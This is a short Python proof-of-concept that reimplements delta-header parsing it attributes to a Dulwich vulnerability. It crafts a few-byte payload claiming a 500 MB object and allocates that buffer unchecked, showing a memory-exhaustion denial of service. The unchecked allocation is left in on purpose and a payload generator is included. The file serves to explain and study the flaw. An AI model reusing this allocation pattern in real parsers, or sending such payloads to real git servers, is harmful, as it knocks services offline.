Vulnerable code sample

import io
import sys

# This code represents the vulnerable logic in Dulwich versions prior to 1.2.5.
# It demonstrates how a small, crafted input can cause a large memory
# allocation, leading to a Denial of Service.
# This example is self-contained and does not require a vulnerable library.


def _read_var_int_from_stream(stream):
    """
    Reads a git-style variable-length integer from a stream.
    This helper function is part of the pack data parsing logic.
    """
    i = 0
    shift = 0
    byte = stream.read(1)[0]
    i |= (byte & 0x7f)
    while byte & 0x80:
        shift += 7
        if shift > 64:
            raise ValueError("Variable-length integer is too long")
        byte = stream.read(1)[0]
        i |= (byte & 0x7f) << shift
    return i


def vulnerable_apply_delta(delta_stream):
    """
    This function represents the unpatched logic that is vulnerable to CVE-2026-47734.
    It reads a delta header from a stream and allocates memory based on its contents.
    """

    # In a thin pack, a client sends delta-compressed objects. The header of the
    # delta data contains the size of the base object and the final object.
    # The client controls the contents of this `delta_stream`.
    try:
        _src_size = _read_var_int_from_stream(delta_stream)
        dest_size = _read_var_int_from_stream(delta_stream)
    except IndexError:
        print("[ERROR] Stream ended prematurely while reading header.", file=sys.stderr)
        return

    print(f"[INFO] Delta header parsed. Claimed destination size: {dest_size} bytes.")

    # --- THE VULNERABILITY ---
    # The 'dest_size' from the attacker-controlled header is trusted completely.
    # The code proceeds to allocate a buffer of this size immediately, before
    # validating that the stream actually contains enough data to produce an
    # object of that size.
    try:
        print(f"[ATTACK] Attempting to allocate {dest_size / (1024*1024):.2f} MB...")
        result_buffer = bytearray(dest_size)
        print("[SUCCESS] Memory was allocated.")

        # In a real scenario, the code would now try to read delta instructions
        # from the stream. It would fail with an unexpected end-of-file, but
        # only after the large, potentially system-destabilizing memory
        # allocation has already occurred.

    except MemoryError:
        print(
            "[FAILURE] A MemoryError was caught. The process would likely be "
            "killed by the OS, causing a Denial of Service.",
            file=sys.stderr,
        )


def _create_malicious_delta_payload(huge_dest_size_mb):
    """
    Helper to craft a malicious delta header payload.
    The payload is tiny but claims to produce a huge object.
    """
    target_size = huge_dest_size_mb * 1024 * 1024
    base_size = 100  # An arbitrary small number

    def _encode_var_int(i):
        data = bytearray()
        while i >= 0x80:
            data.append((i & 0x7F) | 0x80)
            i >>= 7
        data.append(i)
        return data

    payload = _encode_var_int(base_size) + _encode_var_int(target_size)
    return payload


if __name__ == "__main__":
    # 1. An attacker crafts a very small payload.
    # This payload's header claims the final object will be 500MB.
    malicious_payload = _create_malicious_delta_payload(huge_dest_size_mb=500)
    malicious_stream = io.BytesIO(malicious_payload)

    print(f"[*] Attacker's crafted payload size: {len(malicious_payload)} bytes.")
    print("-" * 40)

    # 2. A server running the vulnerable Dulwich code receives this payload
    #    as part of a 'git push' operation.
    vulnerable_apply_delta(malicious_stream)

    print("-" * 40)
    print("[*] Demonstration complete.")